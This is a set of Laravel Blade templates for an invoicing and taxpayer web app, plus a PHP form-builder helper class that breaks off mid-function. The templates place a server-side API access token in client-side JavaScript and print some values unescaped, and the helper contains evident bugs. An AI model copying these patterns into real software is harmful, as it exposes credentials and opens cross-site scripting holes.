"class" => "col-md-12 mb-3",
"label" => "Is Escort Required *",
"checkbox" => [
"name" => "isEscortRequired",
"value" => 1,
"checked" => false,
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-12 mb-3",
"label" => "Is After Delivery",
"checkbox" => [
"name" => "isAfterDelivery",
"value" => 1,
"checked" => false,
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-12 mb-3 not-parameters",
"label" => "Subsequent Delivery",
"checkbox" => [
"name" => "subsequentDelivery",
"value" => 1,
"checked" => false,
"shown" => "function(elm){
$(elm).change(function(){
if ($(elm).is(':checked')) {
$(elm).closest('form').find('[name=\"subsequentDeliveryType\"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('form').find('[name=\"subsequentDeliveryType\"]').closest('div').addClass('d-none');
}
}).change();
}"
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 mb-3 d-none",
"label" => "Subsequent Delivery Type",
"select" => [
"name" => "subsequentDeliveryType",
"value" => $item->subsequentDeliveryType,
"options" => $subsequentDeliveryTypes
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-12 mb-3",
"label" => "Affects Warehouse",
"checkbox" => [
"name" => "affectsWarehouse",
"value" => 1,
"checked" => false,
"shown" => "function(elm){
$(elm).change(function(){
if ($(elm).is(':checked')) {
$(elm).closest('form').find('[name=\"exitWarehouseId\"]').closest('div').removeClass('d-none');
$(elm).closest('form').find('[name=\"destinationWarehouseId\"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('form').find('[name=\"exitWarehouseId\"]').closest('div').addClass('d-none');
$(elm).closest('form').find('[name=\"destinationWarehouseId\"]').closest('div').addClass('d-none');
}
}).change();
}"
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-6 mb-3 d-none",
"label" => "Exit Warehouse",
"select" => [
"name" => "exitWarehouseId",
"value" => $item->exitWarehouseId,
"options" => (function($warehouses) {
$options = '';
foreach($warehouses as $warehouse) {
$options .= '<option value="'. $warehouse['id'].'">'. $warehouse['description'] .'</option>';
}
return $options;
})($warehouses)
],
"hint" => ""
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-6 mb-3 d-none",
"label" => "Destination Warehouse",
"select" => [
"name" => "destinationWarehouseId",
"value" => $item->destinationWarehouseId,
"options" => (function($warehouses) {
$options = '';
foreach($warehouses as $warehouse) {
$options .= '<option value="'. $warehouse['id'].'">'. $warehouse['description'] .'</option>';
}
return $options;
})($warehouses)
],
"hint" => ""
])!!}
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('products', @php echo json_encode($products) @endphp);
Cache.put("devpos_access_token", '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('[name="fromDate"]').datepicker({
"format": "yyyy-mm-dd"
});
$('[name="toDate"]').datepicker({
"format": "yyyy-mm-dd"
});
$('#productSearch').productSuggestionThumb({
display: 'title',
source: function(instance, query, sync, async) {
return async(Cache.get('products').filter(row => row.title.toLowerCase().startsWith(query)));
},
template: function(data) {
return '<a href="javascript:void(0)" title="Add unit" class="k-nav__link" onClick=""><i class="k-nav__link-icon fa fa-plus "></i><span class="k-nav__link-text"> '+ data.title +'</span></a>';
},
onSelect: function(suggestion, instance) {
//add product to List
//first check if it exists
if ($('#productsList [data-product-id="'+ suggestion.id +'"]')?.length) {
//exists, so we just increment the quantity
let quantity = parseFloat($('#productsList [data-product-id="'+ suggestion.id +'"] [name="quantity"]').val());
//set new value
$('#productsList [data-product-id="'+ suggestion.id +'"] [name="quantity"]').val(quantity + 1).change();
}
else { //we append it as new row
suggestion.name = suggestion.title;
suggestion.rate = suggestion.price;
$(instance).closest('form').find('#productsList tbody').append(DevPos.Invoice.order.product.row(suggestion));
}
//fire trigger
$(instance).closest('form').trigger('order.changed');
},
});
//listen to order.changed event to re calculate summaries
//fire trigger
$('form[name="newInvoice"]').on('order.changed', function() {
DevPos.Invoice.order.summaries.calculate();
});
});
</script>
@endsection<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Edit') }}" data-placement="top" onClick="DevPos.Invoice.create();">
<i class="fa fa-plus"></i> <span class="d-none d-md-inline"> {{ __('Invoice') }}</span>
</a>
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Export') }}" data-placement="top" onClick="DevPos.Invoice.export();">
<i class="fa fa-download"></i> <span class="d-none d-md-inline"> {{ __('Export') }}</span>
</a>
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Export') }}" data-placement="top" onClick="DevPos.Invoice.exportSalesBook();">
<i class="fa fa-download"></i> <span class="d-none d-md-inline"> {{ __('Export Sales Book') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<!-- start:: Sidebar -->
<div class="col-md-12 float-left">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="invoices">
<form name="main_filter" class="col-12" onsubmit="event.preventDefault();DevPos.Invoice.load();">
<div class="form-group row mb-0">
<div class="col-md-4 col-xl-2">
<label class="">{{ __('Customer') }}</label>
<select name="client" class="form-control">
<option value=""></option>
@foreach($customers as $customer)
<option value="{{$customer['id']}}">{{ $customer['name'] }}</option>
@endforeach
</select>
</div>
<div class="col-md-6 col-xl-4">
<label class="">{{ __('Created at') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="startDate" autocomplete="off" value="{{date('Y-m-d')}}" placeholder="{{ __('Min date') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="endDate" autocomplete="off" value="{{date('Y-m-d')}}" placeholder="{{ __('Max date') }} ...">
</div>
</div>
<div class="col-md-4 col-xl-2">
<label class="">{{ __('TCR') }}</label>
<select name="tcrCode" class="form-control">
<option value=""></option>
@foreach($tcrs as $tcr)
<option value="{{$tcr['fiscalizationNumber']}}">{{ $tcr['name'] }}</option>
@endforeach
</select>
</div>
<div class="col-md-4 col-xl-2">
<label class="">{{ __('Payment Method') }}</label>
<select name="PaymentMethodType" class="form-control">
<option value=""></option>
@foreach($paymentMethods as $method)
<option value="{{$method['id']}}">{{ $method['name'] }}</option>
@endforeach
</select>
</div>
<div class="col-md-4 col-xl-2 k-input-icon k-input-icon--left mt-4">
<label class=""></label>
<button type="submit" class="btn btn-primary btn-sm mt-2" name="name" value=""><i class="fa fa-filter"></i> {{ __('Filter') }}</button>
</div>
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
<div class="col-md-10 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Invoices') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<!--begin: Datatable -->
<div class="k_datatable" id="api_events"></div>
<!--end: Datatable -->
</div>
</div>
</div>
<!-- start:: Sidebar -->
<div class="col-md-2 float-left order-xs-1 order-sm-1 order-md-2">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter Results') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="tcrs">
<form name="filter" class="col-12" onsubmit="event.preventDefault();DevPos.Invoice.load();">
<div class="form-group">
<label class="">{{ __('Operator') }}</label>
<input class="form-control" name="operatorName" type="text" placeholder="Search by operator">
</div>
<div class="form-group">
<label class="">{{ __('Customer Business Name') }}</label>
<input class="form-control" name="customerBusinessName" type="text" placeholder="Search by business">
</div>
<div class="form-group">
<label class="">{{ __('Invoice Number') }}</label>
<input class="form-control" name="invoiceNumber" type="text" placeholder="Search by invoice number">
</div>
<div class="form-group">
<label class="">{{ __('Invoice Type') }}</label>
<select class="form-control" name="invoiceType">
<option value=""></option>
<option value="0">Cash</option>
<option value="1">Non Cash</option>
</select>
</div>
<div class="form-group">
<label class="">{{ __('Invoice Category') }}</label>
<select class="form-control" name="invoiceCategory">
<option value=""></option>
<option value="Invoice">Invoice</option>
<option value="EInvoice">EInvoice</option>
</select>
</div>
<div class="form-group">
<label class="">{{ __('Invoice Status') }}</label>
<select class="form-control" name="invoiceStatus">
<option value=""></option>
<option value="sended_to_state">Fiscalized</option>
<option value="not_sended_to_state">Not sended to state</option>
</select>
</div>
<div class="form-group">
<label class="">{{ __('Product') }}</label>
<select class="form-control selectpicker" name="products" multiple data-live-search="true">
@foreach($products as $product)
<option value="{{$product->title}}">{{$product->title}}</option>
@endforeach
</select>
</div>
<div class="form-group">
<label class="">{{ __('Patient') }}</label>
<input class="form-control" name="patient" type="text" placeholder="Search by patient">
</div>
<div class="form-group">
<label class="">{{ __('Invoice') }}</label>
<input class="form-control" name="invoice_id" type="text" placeholder="Search by invoice">
</div>
<div class="form-group">
<label class="">{{ __('Note') }}</label>
<input class="form-control" name="note" type="text" placeholder="Search by note">
</div>
<div class="form-group">
<label class="">{{ __('Total') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="total_min" placeholder="{{ __('Min total') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="total_max" placeholder="{{ __('Max total') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="k-input-icon k-input-icon--left">
<input type="submit" class="btn btn-primary btn-sm w-100" name="name" value="{{ __('Filter') }}">
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
//put all tcrs to cache
//Cache.put('invoices', @php echo json_encode($items) @endphp);
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('products', @php echo json_encode($products) @endphp);
Cache.put('devpos_access_token', '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('[name="startDate"]').datepicker({format: 'yyyy-mm-dd'});
$('[name="endDate"]').datepicker({format: 'yyyy-mm-dd'});
DevPos.Invoice.load();
});
</script>
@endsection<file_sep><?php
//print_r($item->doctors);
?>
@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="Edit" data-placement="top" onClick="DevPos.TaxPayer.edit({{ $item->id }});">
<i class="fa fa-edit"></i> <span class="d-none d-md-inline"> {{ __('Edit') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<!-- begin:: Portlet -->
<div class="k-portlet k-profile">
<div class="k-portlet__body k-profile__content">
<h1 class="display-2 mb-5"><?php echo $item->businessName; ?></h1>
<div class="row px-5">
<div class="form-group col-md-6 row border-left">
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('NIPT') }}</label>
<span class="k-font-bold">{{ $item->idNumber }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Registration Name') }}</label>
<span class="k-font-bold">{{ $item->registrationName }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Business Unit Code') }}</label>
<span class="k-font-bold">{{ $item->businessUnitCode }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Tax Payer Type') }}</label>
<span class="k-font-bold">{{ $item->taxPayerType }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Different Prices Per POS') }}</label>
<span class="k-font-bold"><i class="fa <?php echo $item->differentPricesPerPOS === 'false' ? 'fa-times k-font-danger':'fa-check k-font-success'; ?>"> </i></span>
</div>
</div>
<div class="form-group col-md-6 row border-left">
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Issuer In VAT') }}</label>
<span class="k-font-bold"><i class="fa <?php echo $item->issuerInVAT === 'false' ? 'fa-times k-font-danger':'fa-check k-font-success'; ?>"> </i></span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Address') }}</label>
<span class="k-font-bold">{{ $item->address }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Country') }}</label>
<span class="k-font-bold">{{ $item->country }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('City') }}</label>
<span class="k-font-bold">{{ $item->city }}</span>
</div>
<div class="w-100 mb-1">
<label class="col-6 col-lg-4 attribute">{{ __('Business Permission Code') }}</label>
<span class="k-font-bold">{{ $item->businessPermissionCode }}</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<link rel="stylesheet" href="{{ asset('assets\custom\user\profile-v1.css') }}">
<script>
Cache.put('taxpayer', @php echo json_encode($item) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
$(document).ready(function(){
});
</script>
@endsection
<file_sep><?php
if (!class_exists('Html')) {
class Html {
protected function defaults() {
return [
'html' => '',
'id' => Math.floor((Math.random() * 100000) + 1),
'attributes' => [],
'data' => [],
'shown' => function($elm) { //when this element is shown/added on browser, not being visible or not
}
];
}
public static function formElement($opts = []) {
if(!empty($opts['checkbox']))
return static::formCheckbox($opts);
$defaults = [
'id' => rand(1, 100000),
'class' => 'col-md-6',
'label' => 'Title',
'toolbar' => [],
//'input' => [],
'hint' => 'Please '. (!empty($opts['input']) ? 'enter':'choose') .' '. strtolower( !empty($opts['label']) ? $opts['label']:'Title'),
'shown' => '',
];
$opts = array_replace_recursive($defaults, $opts);
//add toolbar
$toolbar = '';
if (!empty($opts['toolbar']))
$toolbar = '<div class="pull-right">'. static::toolbar($opts['toolbar']) .'</div>';
//build html
return
'<div class="'. $opts['class'] .'" id="'. $opts['id'] .'">
'. ($opts['label'] == false ? '':'<label>'. __($opts['label']) .'</label>') .'
'. $toolbar .'
'. static::getElement($opts) .'
<span class="form-text text-muted">'. $opts['hint'] .'</span>
</div>'. static::shown($opts['id'], $opts['shown']);
}
public static function formCheckbox($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'class' => 'col-md-6',
'label' => 'Title',
'hint' => 'You can check '. strtolower( !empty($opts['label']) ? $opts['label']:'Title'),
];
$opts = array_replace_recursive($defaults, $opts);
//add toolbar
$toolbar = '';
if (!empty($opts['toolbar']))
$toolbar = '<div class="pull-right">'. static::toolbar($opts['toolbar']) .'</div>';
//build html
return
'<div class="'. $opts['class'] .'" id="'. $opts['id'] .'">
<label class="k-checkbox k-checkbox--solid">'
. static::checkbox($opts['checkbox'])
. $opts['label']
. '<span></span>'
.'</label>
<span class="form-text text-muted">'. $opts['hint'] .'</span>
</div>'. static::shown($opts['id'], $opts['shown']);
}
public static function getElement($opts = []) {
if(!empty($opts['input']))
return static::input($opts['input']);
if(!empty($opts['select']))
return static::select($opts['select']);
if(!empty($opts['textarea']))
return static::textarea($opts['textarea']);
if(!empty($opts['summernote']))
return static::summernote($opts['summernote']);
if(!empty($opts['element']))
return static::element($opts['element']);
if(!empty($opts['combobox']))
return static::combobox($opts['combobox']);
if(!empty($opts['color-picker']))
return static::color_picker($opts['color-picker']);
if(!empty($opts['file']))
return static::file($opts['file']);
if(!empty($opts['section']))
return static::section($opts['section']);
if(!empty($opts['image']))
return static::image($opts['image']);
if(!empty($opts['gallery']))
return static::gallery($opts['gallery']);
if(!empty($opts['date']))
return static::date($opts['date']);
}
public static function a($opts) {
$defaults = [
'id' => rand(1, 100000),
'icon' => '',
'class' => 'form-control',
'title' => 'Title', // name of the link
'value' => '', // name of the link
'attributes' => [],
'onClick' => '',
'shown' => '',
];
$opts = array_extend($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html =
'<a
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
'. $attributes .'
onClick="'. $opts['onclick'] .'"
/>'.
($opts['icon'] ? '<i class="'. $opts['icon'] .'"></i>':'')
. $opts['title']
.'</a>';
return $html;
}
public static function input($opts) {
$defaults = [
'id' => rand(1, 100000),
'class' => 'form-control',
'type' => 'text',
'name' => 'Title', // name of the textarea or input
'value' => '',
'disabled' => false,
'autocomplete' => 'on',
'attributes' => [],
'placeholder' => 'Enter '. strtolower( !empty($opts['name']) ? str_replace('_', ' ', $opts['name']):'Title'),
'onClick' => '',
'onInput' => '',
'onChange' => '',
'shown' => '',
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html =
'<input
type="'. $opts['type'] .'"
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
value="'. htmlspecialchars($opts['value']) .'"
'. $attributes .'
placeholder="'. $opts['placeholder'] .'"
onClick="'. $opts['onClick'] .'"
onInput="'. $opts['onInput'] .'"
onChange="'. $opts['onChange'] .'"
/>'. static::shown($opts['id'], $opts['shown']);
return $html;
}
public static function date($opts) {
$opts['shown'] = "function(elm){
$(elm).datepicker({format: 'yyyy-mm-dd'});
}";
return static::input($opts);
}
public static function combobox($opts = []) {
$html = '
<div class="input-group">
'. static::input($opts) .'
<div class="input-group-append">
<button type="button" class="btn btn-secondary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> </button>
<div class="dropdown-menu dropdown-menu-right" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(647px, 38px, 0px);">
'. implode('', array_map(function ($option) {
return '<a class="dropdown-item" href="javascript:void(0)" onclick="$(this).closest(\'.input-group\').find(\'input\').val(\''. ($option['name'] ?: $option) .'\').change()">'. ($option['name'] ?: $option) .'</a>';
}, $opts['options'])) .'
</div>
</div>
</div>';
return $html;
}
public static function textarea($opts) {
$defaults = [
'id' => rand(1, 100000),
'class' => 'form-control',
'name' => 'Title', // name of the textarea or input
'value' => '', // name of the textarea or input
'disabled' => false,
'autocomplete' => 'on',
'attributes' => [],
'placeholder' => 'Enter '. strtolower( !empty($opts['name']) ? $opts['name']:'Title'),
'onClick' => '',
'onInput' => '',
'shown' => '',
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html =
'<textarea
type="text"
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
'. $attributes .'
placeholder="'. __($opts['placeholder']) .'"
onClick="'. $opts['onClick'] .'"
onInput="'. $opts['onInput'] .'"
/>'. $opts['value'] .'</textarea>'. static::shown($opts['id'], $opts['shown']);
return $html;
}
public static function summernote($opts) {
$defaults = [
'id' => rand(1, 100000),
'class' => 'form-control',
'name' => 'Title', // name of the textarea or input
'value' => '', // name of the textarea or input
'disabled' => false,
'autocomplete' => 'on',
'attributes' => [],
'placeholder' => 'Enter '. strtolower( !empty($opts['name']) ? $opts['name']:'Title'),
'onClick' => '',
'onInput' => '',
'shown' => 'function(elm){ $(elm).summernote({height: 300}); }',
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html =
'<textarea
type="text"
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
'. $attributes .'
placeholder="'. __($opts['placeholder']) .'"
onClick="'. $opts['onClick'] .'"
onInput="'. $opts['onInput'] .'"
/>'. $opts['value'] .'</textarea>'. static::shown($opts['id'], $opts['shown']);
return $html;
}
public static function select($opts) {
//print_r($opts);
$defaults = [
'id' => rand(1, 100000),
'class' => 'form-control',
'name' => 'Title', // name of the textarea or input
'value' => '', // name of the textarea or input
'options' => [],
'disabled' => false,
'attributes' => [],
'onClick' => '',
'onChange' => ''
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//convert options to string
//convert options to string
if (is_string($opts['options'])) {
$options = $opts['options'];
}
else {
foreach($opts['options'] as $key => $val) {
if (is_string($val)) {
if(is_assoc($opts['options'])) { // when options: ['anije' => 4, makina => 32, 'motorr' => 242]
$options .= '<option value="'. $key .'" '. get_selected_option($key, $opts['value']) .'>'. $val .'</option>';
}
else { //when options: ['anije', 'makine', 'motorr']
$options .= '<option value="'. $val .'" '. get_selected_option($val, $opts['value']) .'>'. $val .'</option>';
}
}
elseif (is_object($val)) { //when options: [['ID' => '5', 'Name' => 'ermir'], ['ID' => '6', 'Name' => 'endri'], ] or when nested arrays are objects
$options .= '<option value="'. $val->id .'" '. get_selected_option($val->id, $opts['value']) .'>'. $val->name .'</option>';
}
else { //when options: [['ID' => '5', 'Name' => 'ermir'], ['ID' => '6', 'Name' => 'endri'], ] or when nested arrays are objects
// if (is_object($val))
// $val = (array)$val;
$options .= '<option value="'. $val['id'] .'" '. get_selected_option($val['id'], $opts['value']) .'>'. $val['name'] .'</option>';
}
}
}
//build html
return
'<select
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
'. $attributes .'
onClick="'. $opts['onClick'] .'"
onChange="'. $opts['onChange'] .'"
/>'. $options .'</select>'. static::shown($opts['id'], $opts['shown']);
}
public static function tree($opts) {
//print_r($opts);
$defaults = [
'id' => rand(1, 100000),
'class' => 'form-control',
'name' => 'Title', // name of the textarea or input
'value' => '', // name of the textarea or input
'options' => [],
'disabled' => false,
'attributes' => [],
'onClick' => '',
'onChange' => ''
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//convert array to tree
$tree = buildTree($opts['options'], 'parent_id', 'id');
//convert options to string
foreach($opts['options'] as $key => $val) {
if (is_string($val)) {
if(is_assoc($opts['options'])) { // when options: ['anije' => 4, makina => 32, 'motorr' => 242]
$options .= '<option value="'. $key .'" '. get_selected_option($key, $opts['value']) .'>'. $val .'</option>';
}
else { //when options: ['anije', 'makine', 'motorr']
$options .= '<option value="'. $val .'" '. get_selected_option($val, $opts['value']) .'>'. $val .'</option>';
}
}
elseif (is_object($val)) { //when options: [['ID' => '5', 'Name' => 'ermir'], ['ID' => '6', 'Name' => 'endri'], ] or when nested arrays are objects
$options .= '<option value="'. $val->id .'" '. get_selected_option($val->id, $opts['value']) .'>'. $val->name .'</option>';
}
else { //when options: [['ID' => '5', 'Name' => 'ermir'], ['ID' => '6', 'Name' => 'endri'], ] or when nested arrays are objects
// if (is_object($val))
// $val = (array)$val;
$options .= '<option value="'. $val['id'] .'" '. get_selected_option($val['id'], $opts['value']) .'>'. $val['name'] .'</option>';
}
}
//build html
return
'<select
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
'. $attributes .'
onClick="'. $opts['onClick'] .'"
onChange="'. $opts['onChange'] .'"
/>'. $options .'</select>'. static::shown($opts['id'], $opts['shown']);
}
public static function checkbox($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'class' => '',
'name' => 'Title', // name of the textarea or input
'value' => $opts['value'] > 0 ? $opts['value']:'1', // name of the textarea or input
'checked' => $opts['value'] == '0' || empty($opts['value']) ? false:true,
'disabled' => false,
'attributes' => [],
'onClick' => '',
'onChange' => ''
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html =
'<input
type="checkbox"
id="'. $opts['id'] .'"
class="'. $opts['class'] .'"
name="'. $opts['name'] .'"
value="'. $opts['value'] .'"
'. ($opts['checked'] == true ? ' checked':'') .'
'. $attributes .'
onClick="'. $opts['onClick'] .'"
onChange="'. $opts['onChange'] .'"
/>';
return $html;
}
public static function color_picker($opts = []) {
$opts['type'] = 'color';
return static::input($opts);
}
public static function gallery($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'class' => '',
'name' => 'gallery', // name of the textarea or input
'value' => $opts['value'] > 0 ? $opts['value']:'1', // name of the textarea or input
'attributes' => [],
'limit' => '',
'onClick' => '',
'onChange' => ''
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html = '
<div class="col-12" data-gallery="true" data-name="'. $opts['name'] .'">
<div class="images_list row">';
if ($opts['limit'] > 0) {
for($i = 0; $i < $opts['limit']; $i++) {
$html .= '<div class="filebox d-table m-2" id="filebox_'. rand(1, 100000) .'" name="'. $opts['name'] .'[]" data-url="'. $opts['value'][$i] .'"></div>';
}
}
else {
$html .= '<button type="button" class="btn btn-primary btn-sm w-100" onClick="Website.Medium.manager.load()"><i class="fa fa-upload"></i></button>';
}
$html .= "
</div>
</div>";
//add plus button if limit >
return $html;
}
public static function image($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'class' => '',
'name' => 'gallery', // name of the textarea or input
'value' => $opts['value'] > 0 ? $opts['value']:'1', // name of the textarea or input
'attributes' => [],
'limit' => '1',
'onClick' => '',
'onChange' => ''
];
$opts = array_replace_recursive($defaults, $opts);
//print_r($opts);
//convert attributes to string
foreach($opts['attributes'] as $key => $val) {
$attributes .= $key .'="'. $val .'"';
}
//build html
$html = '
<div class="col-12">
<div class="filebox d-table" id="filebox_'. rand(1, 100000) .'" name="'. $opts['name'] .'" data-url="'. $opts['value'] .'"></div>
</div>';
//add plus button if limit >
return $html;
}
public static function element($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'html' => '',
'onClick' => '',
'shown' => '',
];
$opts = array_replace_recursive($defaults, $opts);
//build html
return $html . static::shown($opts['id'], $opts['shown']);
}
public static function section($opts = []) {
$defaults = [
'id' => rand(1, 100000),
'label' => '',
'class' => '',
];
$opts = array_replace_recursive($defaults, $opts);
return '
<div class="'. $opts['class'] .'">
<div class="k-heading k-heading--space-sm">
'. $opts['label'] .'
</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid w-100"></div>';
//build html
return $opts['html'] = '<h4 class="'. $opts['class'] .'">'. $opts['label'] .'</h4>';
return static::element($opts);
}
protected static function toolbar($opts = []) {
/**
* toolbar is a function that will create toolbar on this form element
* $param @opts will be a multi array: [['title' => 'Add', 'class': '', 'icon' => 'fa fa-plus' 'onClick' => 'function(){}'], ['title' => 'Delete', 'icon' => 'fa fa-trash' 'onClick' => 'function(){}']]
*/
$html = '';
foreach($opts as $row) {
$html .= '<a href="javascript:void(0);" class="'. $row['class'] .'" onClick="('. str_replace('"', '"', $row['onClick']) .')()">'. (!empty($row['icon']) ? '<i class="'. $row['icon'] .'"></i>':'') .''. $row['title'] .'</a>';
}
return $html;
}
protected static function shown($id, $shown) {
